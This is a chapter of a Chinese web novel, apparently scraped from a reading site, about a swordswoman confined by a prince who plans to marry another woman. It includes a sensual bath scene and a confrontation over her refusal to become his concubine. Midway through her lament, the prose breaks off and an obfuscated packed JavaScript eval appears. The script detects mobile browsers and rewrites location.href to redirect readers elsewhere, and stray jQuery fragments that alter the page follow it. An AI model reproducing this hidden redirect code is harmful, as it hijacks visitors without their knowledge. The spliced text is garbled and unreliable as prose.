21. 囚她(修)

作品:《囚她

    雾气氤氲,温泉水叮咚流动,像柔顺的丝绸,静静流淌。水波荡漾,层层起伏,晃晃地,波澜心间。


    纱帐飘飞,揉碎了一池春水。


    月娆潜在泉水中,蒸腾的雾气凝结,在她的脸颊上成珠,一滴一滴地,顺着肌肤滑落,溅落在水面上,消失在空气中,几至无形。


    青丝浸润在水中,散了一池水的墨,丝丝缕缕。


    月娆额前黑色绒毛微微凌乱,微微垂着的眼睫毛,长而浓密。红唇微抿,咬出更加鲜艳的色调。


    她抬起玉臂,轻轻舀水,浸润白皙的肌肤。水流顺着抬高的手臂滑落,缓缓聚在半露出水面的香肩,顺着窈窕的曲线,抚过绽放在温热空气中精致的锁骨,最后没在胸前的肌肤,和水彻底融为一体。


    风拂纱帐,送来轻轻的脚步声。


    来人伸出宽厚修长的手掌,掀起白色飘飞的纱帐,看着温泉中沐浴的女子。他光脚踏在白玉石阶上,裤脚没入水中,湿湿的,粘成一团。


    他渐渐深入,整个身体沉入水中。


    月娆顺势陷入他怀中。她眉心一点红,眼尾上挑,自带一丝魅色。她轻笑,轻轻添了一口男子的喉结,舌尖滑过饱满的凸起,从上往下,带起一片战栗。


    对方喉咙上下蠕动,气息明显不稳,她又轻咬了一口,对方揽得更紧,胸膛起伏的频率渐渐加快。


    月娆笑得更欢。她齿如编贝,唇涂丹朱,每吐出的一口雾气,都是温热的,魅惑的。


    月娆伸出纤纤玉指,一点一点抚过对方深邃的眉骨,高挺的鼻梁,最后落在殷红的薄唇,以食指指腹轻轻按住。


    她媚眼如丝,吐气如兰,凑在男人耳边道:“是软的呢。”


    “月娆。”


    任怀远略带警告意味地轻念她的名字,他握住月娆的手,薄唇顺势探路,落在白皙的肩膀上,痒痒的触感、温热的鼻息掠过颈侧、耳垂,最后定在唇边。气息交接,要碰不碰。


    两两对视,月娆眼含笑意,任怀远眸中尽是动情。他闭上眼睛,最终压了上去。


    吻香不得。


    月娆再次按住他嘴唇,玉手撑着他健硕的胸膛,没有一丝的情感:“我累了,不想要。”


    任怀远揽她纤腰:“不想要还惹我?”


    “嗯哼。”月娆懒懒一笑,濡湿的手摸了摸他的脸,沾了滴滴水晶,“你不也很享受吗?公子应该很欢喜吧?”


    任怀远不言,月娆得劲,轻轻一推,抽离出他的怀抱,就着氤氲的水汽,顶着他热络的视线上了白玉阶,然后扯过挂在屏风上的纱衣穿上,走了。


    “你自己洗吧。”


    任怀远目送她的背影,低眉含笑。


    月娆出了净室,辗转入寝室,百无聊赖地坐在床榻边沿,翻来覆去把手掌端看。纤纤玉指,指腹处薄茧粗糙,是她使剑遗留的痕迹。


    春桃端案,低头躲开珠帘入屋,瞧见月娆,于是将木案放在妆镜台面上,笑道:“姑娘,这是新制的一些膏药,你快来看看呀。”


    月娆稍微来了兴趣,表情恹恹地坐在铜镜前。铜镜映了她白皙精致的脸,柳眉如画,魅色的风情。但她又不是很高兴,于是看起来更显得委屈,让人忍不住捧在手心,以和风细雨的温润声调来安慰。


    月娆揭了白玉瓶,置于鼻尖轻轻闻了闻,淡淡的桂花香萦绕,久久挥之不去。


    春桃贴心解释,眉梢喜色上涌,她比月娆更加开心,油然而生的喜悦之情:“这是舒痕胶,是太医新研制的,引了桂花香,是姑娘喜欢的香味,这是殿下特意吩咐为你制备的。”


    任怀远?


    月娆表情更淡,已瞧不出是否开心。她扯扯嘴角:“是吗?”


    “殿下说姑娘最近不是很开心,又想着姑娘素来喜爱这些玩意儿,于是寻来讨姑娘欢心。如何?姑娘要试试吗?你身上的疤痕已经很淡了,用了这个舒痕胶,说不定真的会清了这些疤痕。”


    春桃跃跃欲试。平日都是她照顾月娆,也常替月娆涂抹膏药祛疤或涂抹凝脂膏以护肤,知她十分爱美,也很热衷于这件事,花了不少心思。


    “好啊。”


    月娆应,她坐在镜子前,脱下衣裳,露出左侧肩膀。她侧过身,看镜中那单薄的左肩后,一道十公分长的伤疤斜横而过,那是她在衡州时救公子所受的伤。


    公子说:“女孩子该是不喜欢留疤的。”


    于是找来一些祛疤膏药让她使用,效果算不上很好,至少疤痕淡了,从此她也热衷于护肤,花费巨大心力物力,却也乐此不疲。


    公子只知她这点微不足道的小心思,却从来不知,她护这一身肌肤,究竟是为了什么。


    现在呢?


    本来就遍体鳞伤,再怎么样,再怎么费力气,都恢复不了最原始的状态了。


    任怀远后来,带了一身水汽。当时月娆已上药完毕,她穿好衣服,便见铜镜中站了一人。他按住月娆的肩膀,扫视过桌面上各色的膏药:“喜欢吗?”


    “喜欢啊。”月娆淡淡反问,“为什么会不喜欢?”


    她挣开任怀远的桎梏,悠悠然上了床榻,侧身盖了棉被,挡住温热的眼眶:“我要睡了。”


    任怀远抱她入怀,月娆随他去。任怀远蹭蹭月娆的脖颈,手搭在她的腹部。


    被窝里暖洋洋,热气相传,他突然道:“月娆,我们要个孩子吧。男孩女孩都没关系,只要是你的孩子,我都喜欢。我可以教他习剑,你教他写字,你的字虽然师承于我,却写得比我更好。”


    “怎么样?”


    月娆身体一僵,好一会儿,她还是没回答。她调整紊乱的呼吸,做出入睡的状态。


    任怀远也许察觉出来她是在逃避这个回答,温厚的手掌摩挲她的腹部,最终还是什么都没说。


    他双手环住月娆,胸膛贴着她的后背,硬朗的下巴顶着她的头顶,紧紧圈住她,像是为她画了一个牢笼,只能在这个圆圈之内翻身。


    月娆一动不动,任由任怀远胡作非为,哪怕窄小的空间束缚了身躯,伸展不得,她好像也没有觉得不自在,似乎是已经习惯这种睡姿。


    翌日清晨,月娆再醒时,身侧的热源已消失不见。她翻过身,死死盯着空空如也的枕头处,眼神晦暗不明。


    她苦涩一笑,坐起身来,把眸中翻涌的所有汹涌的情绪都藏了起来,继续当个没事人。


    春桃适时掀帘进来,端了水盆。她就着温水洗漱,春桃欲服侍她穿衣,她拒绝了。这么些天以来,她还是不能习惯春桃面面俱到的伺候。


    月娆推门而出,沐浴着清晨的阳光,像是披了道金灿灿的霓裳。她朝门口走去,春桃紧跟身侧:“姑娘,你要去哪儿?”


    月娆绕过她,径直走向院门口,她才跨过门槛,守门的两名侍卫已经伸出长/枪,把她叉在这院门之内。


    “我只是出去走走。”


    “夫人,殿下说过,未经他同意,您不能出去。”侍卫神色凛然,无动于衷,“我们也只是奉命行事,还请您不要为难我们。”


    夫人?


    月娆不知,囚在这汀兰水榭方一月有余,她竟已经成了夫人。


    她回首,打量这一方天地。高墙伫立,屋檐横飞。院内是松石小道,绿竹成林,迎风招展。


    院子房屋林立,净室、寝室、书房等各种生活所需一应俱全。白玉为堂,珠光为宝,绫罗绸缎数不尽、用不完,锦衣玉食而不愁。


    这是仁怀远安排的处所,是她唯一的安身之地。


    她被困在这里了。


    月娆好像失了神智,眼中所有的光彩在那一刹那间死灭。她了无生机,明明是最该生长得枝繁叶茂的时节,她却像枯萎在春天中的绿叶,死亡是唯一的结果。


    春桃不是很理解这种情绪,明明从前她认识的月娆,乌溜溜的墨眸亮晶晶的,盛满欢喜,有更大的幸福值得去期待。


    自从囚在这高宅,她好像已经快要不认识月娆了。


    春桃道:“好好看着姑娘。”


    侍卫领命,目送她离去的背景。


    月娆没再出过门,她兴致缺缺,只窝在窗前的贵妃椅上,昏昏看书,最后以书遮面,沉沉睡了一个午觉。


    再醒时,黄昏将落,新月初探,天际红霞晕染,绣出了一块绚丽的画布。


    她竟有度日如年之感。


    用膳之时,月娆一人。任怀远迟迟不来,于是在洗漱之后,她坐在妆镜台前描眉或画眉心花钿,当是无聊之时的小打发。


    暖黄的烛光一闪一闪,染着她白皙的脸,成了昏暗的色调。镜中的美人,眉间的花钿最为红艳,是那种十分明艳的颜色,亮亮的,突兀地现着苍黄的烛光。


    铜镜模糊了她的脸,唯独这一抹亮丽的红色最动人,开出梅花的形状。


    她从镜子中看到一个人。


    是任怀远。


    他悠悠踱步而来。玉冠束发,黑色鎏金腰带束身,华贵的锦缎流畅,勾勒出健硕修长的形体,端的是端方的君子之节;也是她几度心动的模样。


    月娆放下眉笔,静静侯他。在他对镜之时,她直直看着镜中仁怀远的眼睛,眼神死寂。


    “殿下……”她以绝望的声音捅破这薄如蝉翼的纸窗户,几乎要至失语的地步,“是要让月娆为妾吗?”


    她不想再装傻下去了。


    他折断她的羽翼,还要碾碎她的骄傲,偏偏这是她在这场无疾而终的爱慕中,唯一拥有的东西。


    任怀远嗓音微沉,他压住月娆的肩膀,语气很坚定:“从未。”


    “那殿下又是什么意思?”


    封她武功,囚她于汀兰水榭,像养一只金丝雀,负责提供锦衣玉食,每晚再来临幸,示以最大的尊容。


    殿下将娶正妻,她又算什么?


    她见证过娘亲的惨痛,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313310|167309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    含烟的死亡,她也曾发过誓,这辈子绝不为妾。她未必要成亲,若真成亲,也断不会同别的女子共侍一夫,即使她再卑贱,她也当有自由选择的权利。


    她不要沦到任人宰割的下场。


    她不要!


    “你乖一点,我不会囚你。”


    月娆嘴唇翕动,她终究是无话可说,连晨风都这样认为:“你太离经叛道了,殿下不放心你,所以看得严了些。”


    月娆心中嗤笑,她不过是不喜欢拘束在高墙之内罢了,怎算得离经叛道?


    但晨风有一言的确为真,任怀远不放心她,所以封了她的武功;她逃不出任怀远的手掌心。


    从此她只能柳下吹风,闲庭散步,这一方府宅,是她唯一的栖身之所。


    她很明白,任怀远一定会娶妻,这个人不会是她;这一天终究会到来。而她的爱慕,在那一刻也会化为乌有。


    从前的她不过是自欺欺人,在公子尚未娶妻时,做着可以和公子相守的美梦。毕竟她对于公子而言,是一把不可多得的利刃。


    但是在那一刻,她的梦碎了。


    任怀远抱住月娆,在她耳侧呢喃:“月娆,我需要你。”


    这样的话,从前的月娆多么喜欢听啊。如果是在之前,我一定会很开心的。


    可现在他说这句话,不过是装出来的挽留。他只是想要欺骗我的心软,从而达到他的目的。


    我的真心,从未被正视过。


    “公子,你想要我做什么呢?”月娆深吸了一口气,努力压抑住心底的失落,她不可以把情绪外泄,她不能在失去了主动性后,连心也要被剥去。


    “是做妾呢,满足你的卑劣,或是有实无名的杀手,供你取乐?”


    任怀远眸色深深:“月娆,我必须娶她。但我承诺,我不会负你。”


    “所以,你默认我的话。”


    月娆倏然失笑,几乎哑声:“公子,我承认,没有你便没有今日的我。我的确爱慕你,像仰望星星一样,时刻追逐你的步伐,为你出生入死。我即使不喜欢杀人,即使这不是我追求的生活,不代表我甘愿为你所困,终生拘束在这一起高墙之内。这同样不是我想要的。”


    月娆低头默言,单薄的身躯承受了莫大的哀痛:“我自知身份卑微,不敢高攀,哪怕公子宠我爱我。我也做好准备,看你娶妻生子,家庭和睦,这一切的一切我都想好了。我知我的爱慕会无疾而终,我把我放到最低下的地位,却不代表你可以践踏我的感情。我即使身份卑微,也不该这般作践。


    仁怀远抓着她的肩膀,稍微加重了力道。


    月娆伸手按住,她握住仁怀远的手,温热传递。她很平静地说:“你真的爱我吗?如果你爱我,怎么会不知道我想要什么?怎么会不知道,哪怕是杀人,哪怕是身首异处,也好过高宅为妾,困于琐碎的家宅之事。你若真的爱我,怎么会舍得让我放弃我自己?”


    她看着镜子中的仁怀远,道:“你喜欢我,却不够爱我,你更爱你自己,所以可以委屈我。而你如愿了,更没关系。既然万事不能两全,那么只要我开心,这就足够,别人的看法又算得了什么,是不是?”


    “那你呢?”仁怀远打断她,“你爱我,但你却不愿为我放弃你的执拗,你又足够爱我吗?”


    “月娆,我们彼此罢了。”


    月娆倏然笑出声。


    对。


    她指责公子更爱他自己,但公子说得对,她也更爱她自己,不愿为爱放弃所谓的原则。


    其实都是一样的。


    月娆声声质问,心如死灰:“为什么不废了我,这样不是更干脆吗?不必派人死守着我,哪怕我飞翼在身,没了武功,我根本走不远。”


    “你知道的,我不舍得。”任怀远掐她下巴,对镜而看,看着镜中束缚在他怀中的女子,他卑劣的心理得到了前所未有的满足。


    怀中的这个人,是他亲手打造的。性格,行为,皆是他的成就,都有他雕琢的痕迹。


    完完全全属于他。


    他以粗糙的指腹摸索她细嫩的脸颊,软软的触感,他目光幽深,语调含情:“你是我亲手培养的,我付诸多番心力,才创造了你,我怎么舍得?月娆,我不是心狠之人。”


    月娆笑了,不知是觉得他的话语太过荒唐,或是其他原因。她淡淡言:“优柔寡断,最易一无所有。公子,这是你教我的。”


    “月娆,我有足够的耐心,我等得起。终有一天,我要你心甘情愿地留在我身边,再也不会想着逃跑。我不限制你的自由,天下之大,处处皆可去,但不管去哪儿,你终究会回到我身边。”


    任怀远以胸有成足的姿态,宣告他离奇的野心:“我亲手养大你,我知你性子刚烈,我也知你温和的一面。我们相互依存,你怎么舍得离我而去?我等你收起獠牙的那一天。困兽之斗,在我看来,不过是无谓的挣扎罢了。”